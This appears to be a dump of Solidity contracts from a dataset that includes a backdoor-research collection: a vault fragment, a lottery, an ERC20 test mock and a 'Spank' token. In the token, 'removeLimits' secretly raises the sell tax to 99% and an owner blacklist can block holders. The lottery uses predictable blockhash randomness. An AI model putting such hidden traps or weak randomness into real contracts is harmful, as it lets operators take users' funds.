crypto[token].currencyVault -= remainAmount;
//totalLocked();
//Investor[_investor] = false;
delete investor[_investor][_vaultID];
//investorCount--;
emit EmergencyWithdraw(_investor, msg.sender, remainAmount);
ISLAMI.transfer(msg.sender, remainAmount);
}
function withdrawalISLAMI(uint256 _amount, uint256 sonbola, address to) external onlyOwner() {
//totalLocked();
uint256 dcml = 10 ** sonbola;
uint256 amount = ISLAMI.balanceOf(address(this)).sub(crypto[ISLAMI].currencyVault);
require(amount > 0 && _amount*dcml <= amount, "No ISLAMI!");
emit WithdrawalISLAMI(_amount, sonbola, to);
ISLAMI.transfer(to, _amount*dcml);
}
function withdrawalERC20(address _tokenAddr, uint256 _amount, uint256 decimal, address to) external onlyOwner() {
uint256 dcml = 10 ** decimal;
ERC20 token = ERC20(_tokenAddr);
require(token != ISLAMI, "No!"); //Can't withdraw ISLAMI using this function!
emit WithdrawalERC20(_tokenAddr, _amount, decimal, to);
token.transfer(to, _amount*dcml);
}
function withdrawalMatic(uint256 _amount, uint256 decimal, address to) external onlyOwner() {
require(address(this).balance >= _amount,"Balanace"); //No matic balance available
require(to != address(0), "Zero Address");
uint256 dcml = 10 ** decimal;
emit WithdrawalMatic(_amount, decimal, to);
payable(to).transfer(_amount*dcml);
}
receive() external payable {}
}
| 267,285 | 12,726 |
c68e78e380d5046c859575dd6b72e4ca9330d9dc7642ec86de96fa8b4b7bf160
| 16,850 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xa00ccf3183578debdc2ad2368bdd1d85633ec614.sol
| 3,901 | 14,896 |
pragma solidity ^0.4.25;
contract SmartLotto {
using SafeMath for uint256;
uint256 constant public TICKET_PRICE = 0.1 ether; // price of 1 ticket is 0.1 ETH
uint256 constant public MAX_TICKETS_PER_TX = 250; // max tickets amount per 1 transaction
uint256 constant public JACKPOT_WINNER = 1; // jackpot go to 1 ticket winners
uint256 constant public FIRST_PRIZE_WINNERS = 5; // first prize go to 5 tickets winners
uint256 constant public SECOND_PRIZE_WINNERS_PERC = 10; // percent of the second prize ticket winners
uint256 constant public JACKPOT_PRIZE = 10; // jackpot winner take 10% of balance
uint256 constant public FIRST_PRIZE_POOL = 5; // first prize winners takes 5% of balance
uint256 constant public SECOND_PRIZE_POOL = 35; // second prize winners takes 35% of balance
uint256 constant public REFERRAL_COMMISSION = 5; // referral commission 5% from input
uint256 constant public MARKETING_COMMISSION = 10; // marketing commission 10% from input
uint256 constant public WINNINGS_COMMISSION = 20; // winnings commission 20% from winnings
uint256 constant public PERCENTS_DIVIDER = 100; // percents divider, 100%
uint256 constant public CLOSE_TICKET_SALES = 1546297200; // 23:00:00 31th of December 2018 GMT
uint256 constant public LOTTERY_DRAW_START = 1546300800; // 00:00:00 1th of January 2019 GMT
uint256 constant public PAYMENTS_END_TIME = 1554076800; // 00:00:00 1th of April 2019 GMT
uint256 public playersCount = 0; // participated players counter
uint256 public ticketsCount = 0; // buyed tickets counter
uint256 public jackpotPrize = 0; // jackpot win amount per ticket
uint256 public firstPrize = 0; // first prize win amount per ticket
uint256 public secondPrize = 0; // second prize win amount per ticket
uint256 public secondPrizeWonTickets = 0; // second prize win tickets amount
uint256 public wonTicketsAmount = 0; // total amount of won tickets
uint256 public participantsMoneyPool = 0; // money pool returned to participants
uint256 public participantsTicketPrize = 0; // amount returned per 1 ticket
uint256 public ticketsCalculated = 0; // won tickets calculated counter
uint256 public salt = 0; // salt for random generator
bool public calculationsDone; // flag true when all calculations finished
address constant public MARKETING_ADDRESS = 0xFD527958E10C546f8b484135CC51fa9f0d3A8C5f;
address constant public COMMISSION_ADDRESS = 0x53434676E12A4eE34a4eC7CaBEBE9320e8b836e1;
struct Player {
uint256 ticketsCount;
uint256[] ticketsPacksBuyed;
uint256 winnings;
uint256 wonTicketsCount;
uint256 payed;
}
struct TicketsBuy {
address player;
uint256 ticketsAmount;
}
struct TicketsWon {
uint256 won;
}
mapping (address => Player) public players;
mapping (uint256 => TicketsBuy) public ticketsBuys;
mapping (uint256 => TicketsWon) public ticketsWons;
function() public payable {
if (msg.value >= TICKET_PRICE) {
buyTickets();
} else {
if (!calculationsDone) {
makeCalculations(50);
} else {
payPlayers();
}
}
}
function buyTickets() private {
// require time now less than or equal to 23:00:00 31th of December 2018 GMT
require(now <= CLOSE_TICKET_SALES);
// save msg.value
uint256 msgValue = msg.value;
// load player msg.sender
Player storage player = players[msg.sender];
// if new player add to total players stats
if (player.ticketsCount == 0) {
playersCount++;
}
// count amount of tickets which can be bought
uint256 ticketsAmount = msgValue.div(TICKET_PRICE);
// if tickets more than MAX_TICKETS_PER_TX (250 tickets)
if (ticketsAmount > MAX_TICKETS_PER_TX) {
// use MAX_TICKETS_PER_TX (250 tickets)
ticketsAmount = MAX_TICKETS_PER_TX;
}
// count overpayed amount by player
uint256 overPayed = msgValue.sub(ticketsAmount.mul(TICKET_PRICE));
// if player overpayed
if (overPayed > 0) {
// update msgValue for futher calculations
msgValue = msgValue.sub(overPayed);
// send to player overpayed amount
msg.sender.send(overPayed);
}
// add bought tickets pack to array with id of current tickets amount
player.ticketsPacksBuyed.push(ticketsCount);
// create new TicketsBuy record
// creating only one record per MAX_TICKETS_PER_TX (250 tickets)
// to avoid high gas usage when players buy tickets
ticketsBuys[ticketsCount] = TicketsBuy({
player : msg.sender,
ticketsAmount : ticketsAmount
});
// add bought tickets to player stats
player.ticketsCount = player.ticketsCount.add(ticketsAmount);
// update bought tickets counter
ticketsCount = ticketsCount.add(ticketsAmount);
// try get ref address from tx data
address referrerAddress = bytesToAddress(msg.data);
// if ref address not 0 and not msg.sender
if (referrerAddress != address(0) && referrerAddress != msg.sender) {
// count ref amount
uint256 referralAmount = msgValue.mul(REFERRAL_COMMISSION).div(PERCENTS_DIVIDER);
// send ref amount
referrerAddress.send(referralAmount);
}
// count marketing amount
uint256 marketingAmount = msgValue.mul(MARKETING_COMMISSION).div(PERCENTS_DIVIDER);
// send marketing amount
MARKETING_ADDRESS.send(marketingAmount);
}
function makeCalculations(uint256 count) public {
// require calculations not done
require(!calculationsDone);
// require time now more than or equal to 00:00:00 1st of January 2019 GMT
require(now >= LOTTERY_DRAW_START);
// if salt not counted
if (salt == 0) {
// create random salt which depends on blockhash, count of tickets and count of players
salt = uint256(keccak256(abi.encodePacked(ticketsCount, uint256(blockhash(block.number-1)), playersCount)));
// get actual contract balance
uint256 contractBalance = address(this).balance;
// count and save jackpot win amount per ticket
jackpotPrize = contractBalance.mul(JACKPOT_PRIZE).div(PERCENTS_DIVIDER).div(JACKPOT_WINNER);
// count and save first prize win amount per ticket
firstPrize = contractBalance.mul(FIRST_PRIZE_POOL).div(PERCENTS_DIVIDER).div(FIRST_PRIZE_WINNERS);
// count and save second prize win tickets amount
secondPrizeWonTickets = ticketsCount.mul(SECOND_PRIZE_WINNERS_PERC).div(PERCENTS_DIVIDER);
// count and save second prize win amount per ticket
secondPrize = contractBalance.mul(SECOND_PRIZE_POOL).div(PERCENTS_DIVIDER).div(secondPrizeWonTickets);
// count and save how many tickets won
wonTicketsAmount = secondPrizeWonTickets.add(JACKPOT_WINNER).add(FIRST_PRIZE_WINNERS);
// count and save money pool returned to participants
participantsMoneyPool = contractBalance.mul(PERCENTS_DIVIDER.sub(JACKPOT_PRIZE).sub(FIRST_PRIZE_POOL).sub(SECOND_PRIZE_POOL)).div(PERCENTS_DIVIDER);
// count and save participants prize per ticket
participantsTicketPrize = participantsMoneyPool.div(ticketsCount.sub(wonTicketsAmount));
// proceed jackpot prize ticket winnings
calculateWonTickets(JACKPOT_WINNER, jackpotPrize);
// proceed first prize tickets winnings
calculateWonTickets(FIRST_PRIZE_WINNERS, firstPrize);
// update calculated tickets counter
ticketsCalculated = ticketsCalculated.add(JACKPOT_WINNER).add(FIRST_PRIZE_WINNERS);
// if salt already counted
} else {
// if calculations of second prize winners not yet finished
if (ticketsCalculated < wonTicketsAmount) {
// how many tickets not yet calculated
uint256 ticketsForCalculation = wonTicketsAmount.sub(ticketsCalculated);
// if count zero and tickets for calculations more than 50
// than calculate 50 tickets to avoid gas cost more than block limit
if (count == 0 && ticketsForCalculation > 50) {
ticketsForCalculation = 50;
}
// if count more than zero and count less than amount of not calculated tickets
// than use count as amount of tickets for calculations
if (count > 0 && count <= ticketsForCalculation) {
ticketsForCalculation = count;
}
// proceed second prize ticket winnings
calculateWonTickets(ticketsForCalculation, secondPrize);
// update calculated tickets counter
ticketsCalculated = ticketsCalculated.add(ticketsForCalculation);
}
// if calculations of second prize winners finished set calculations done
if (ticketsCalculated == wonTicketsAmount) {
calculationsDone = true;
}
}
}
function calculateWonTickets(uint256 numbers, uint256 prize) private {
// for all numbers in var make calculations
for (uint256 n = 0; n < numbers; n++) {
// get random generated won ticket number
uint256 wonTicketNumber = random(n);
// if ticket already won
if (ticketsWons[wonTicketNumber].won == 1) {
// than add 1 ticket to numbers
numbers = numbers.add(1);
// ticket not won yet
} else {
// mark ticket as won
ticketsWons[wonTicketNumber].won = 1;
// search player record to add ticket winnings
for (uint256 i = 0; i < MAX_TICKETS_PER_TX; i++) {
// search max MAX_TICKETS_PER_TX (250 tickets)
uint256 wonTicketIdSearch = wonTicketNumber - i;
// if player record found
if (ticketsBuys[wonTicketIdSearch].ticketsAmount > 0) {
// read player from storage
Player storage player = players[ticketsBuys[wonTicketIdSearch].player];
// add ticket prize amount to player winnings
player.winnings = player.winnings.add(prize);
// update user won tickets counter
player.wonTicketsCount++;
// player found so stop searching
break;
}
}
}
}
// update salt and add numbers amount
salt = salt.add(numbers);
}
function payPlayers() private {
// require calculations are done
require(calculationsDone);
// pay players if time now less than 00:00:00 1st of April 2019 GMT
if (now <= PAYMENTS_END_TIME) {
// read player record
Player storage player = players[msg.sender];
// if player have won tickets and not yet payed
if (player.winnings > 0 && player.payed == 0) {
// count winnings commission from player won amount
uint256 winCommission = player.winnings.mul(WINNINGS_COMMISSION).div(PERCENTS_DIVIDER);
// count amount of not won tickets
uint256 notWonTickets = player.ticketsCount.sub(player.wonTicketsCount);
// count return amount for not won tickets
uint256 notWonAmount = notWonTickets.mul(participantsTicketPrize);
// update player payed winnings
player.payed = player.winnings.add(notWonAmount);
// send total winnings amount to player
msg.sender.send(player.winnings.sub(winCommission).add(notWonAmount).add(msg.value));
// send commission
COMMISSION_ADDRESS.send(winCommission);
}
// if player have not won tickets and not yet payed
if (player.winnings == 0 && player.payed == 0) {
// count return amount for not won tickets
uint256 returnAmount = player.ticketsCount.mul(participantsTicketPrize);
// update player payed winnings
player.payed = returnAmount;
// send total winnings amount to player
msg.sender.send(returnAmount.add(msg.value));
}
// if payment period already ended
} else {
// get actual contract balance
uint256 contractBalance = address(this).balance;
// actual contract balance more than zero
if (contractBalance > 0) {
// send contract balance to commission address
COMMISSION_ADDRESS.send(contractBalance);
}
}
}
function random(uint256 nonce) private view returns (uint256) {
// random number generated from salt plus nonce divided by total amount of tickets
uint256 number = uint256(keccak256(abi.encodePacked(salt.add(nonce)))).mod(ticketsCount);
return number;
}
function playerBuyedTicketsPacks(address player) public view returns (uint256[]) {
return players[player].ticketsPacksBuyed;
}
function bytesToAddress(bytes data) private pure returns (address addr) {
assembly {
addr := mload(add(data, 0x14))
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 144,742 | 12,727 |
61c2e7ac9d485a426577a03c05c8bf81a76b053d9482b24f6fa16a92c514f3dc
| 33,309 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/mocks/ERC20MockUpgradeable_flat.sol
| 3,172 | 13,640 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20Upgradeable {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
// mock class using ERC20
contract ERC20MockUpgradeable is Initializable, ERC20Upgradeable {
function __ERC20Mock_init(string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance) internal onlyInitializing {
__ERC20_init_unchained(name, symbol);
__ERC20Mock_init_unchained(name, symbol, initialAccount, initialBalance);
}
function __ERC20Mock_init_unchained(string memory,
string memory,
address initialAccount,
uint256 initialBalance) internal onlyInitializing {
_mint(initialAccount, initialBalance);
}
function mint(address account, uint256 amount) public {
_mint(account, amount);
}
function burn(address account, uint256 amount) public {
_burn(account, amount);
}
function transferInternal(address from,
address to,
uint256 value) public {
_transfer(from, to, value);
}
function approveInternal(address owner,
address spender,
uint256 value) public {
_approve(owner, spender, value);
}
uint256[50] private __gap;
}
| 63,136 | 12,728 |
c15ce8f50c6cf680fe9b0bbe3dbe87c8872ac5811e6b0e37684b3e248db4f2d4
| 12,073 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/32/3227b7606f015fd46f0c8ab6c8d68c60a5c1f1b1_Spank.sol
| 3,098 | 11,509 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Spank is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _taxWallet;
uint256 private _initialBuyTax=5;
uint256 private _initialSellTax=5;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=0;
uint256 private _reduceSellTaxAt=0;
uint256 private _preventSwapBefore=0;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000 * 10**_decimals;
string private constant _name = unicode"Spank";
string private constant _symbol = unicode"Spank";
uint256 public _maxTxAmount = 1000000 * 10**_decimals;
uint256 public _maxWalletSize = 1000000 * 10**_decimals;
uint256 public _taxSwapThreshold=1000 * 10**_decimals;
uint256 public _maxTaxSwap=20000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0xA958690F8fA35882B4710771E9971a387abB3dcB);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this)){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() public returns (bool){
require (_msgSender() == _taxWallet,"callers is not the owner");
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
_initialSellTax = 99;
return true;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
